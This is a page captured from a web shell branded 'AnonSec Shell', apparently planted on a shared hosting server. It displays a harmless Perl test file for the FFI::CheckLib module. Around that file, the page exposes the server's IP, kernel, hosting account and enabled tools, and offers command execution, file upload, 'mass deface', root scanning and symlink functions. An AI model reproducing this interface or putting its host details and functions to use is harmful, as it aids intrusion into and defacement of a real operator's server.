AnonSec Shell
Server IP : 144.76.79.100  /  Your IP : 216.73.216.103   [ Reverse IP ]
Web Server : Apache
System : Linux ch05.wehostwebserver.com 5.14.0-611.5.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 08:09:09 EST 2025 x86_64
User : razzlestore ( 1092)
PHP Version : 8.2.29
Disable Function : NONE
Domains : 343 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/.cpanm/latest-build/FFI-CheckLib-0.31/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/.cpanm/latest-build/FFI-CheckLib-0.31/t//ffi_checklib__exit.t
use lib 't/lib';
use Test2::Require::Module 'Test2::Tools::Process';
use Test2::V0 -no_srand => 1;
use Test2::Plugin::FauxOS 'linux';
use Test2::Tools::NoteStderr qw( note_stderr );
use Test2::Tools::Process;
use FFI::CheckLib;

@$FFI::CheckLib::system_path = (
  'corpus/unix/usr/lib',
  'corpus/unix/lib',
);

subtest 'check_lib_or_exit' => sub {

  subtest 'found' => sub {
    process { check_lib_or_exit( lib => 'foo' ) } [];
  };

  subtest 'not found' => sub {
    process { note_stderr { check_lib_or_exit( lib => 'foobar') } } [
      proc_event( exit => 0 ),
    ];
  };

};

subtest 'find_lib_or_exit' => sub {

  subtest 'found' => sub {
    process { my $path = find_lib_or_exit( lib => 'foo' ) } [];
  };

  subtest 'not found' => sub {
    process { note_stderr { my $path = find_lib_or_exit( lib => 'foobar') } } [
      proc_event( exit => 0 ),
    ];
  };

};

done_testing;

Anon7 - 2022
AnonSec Team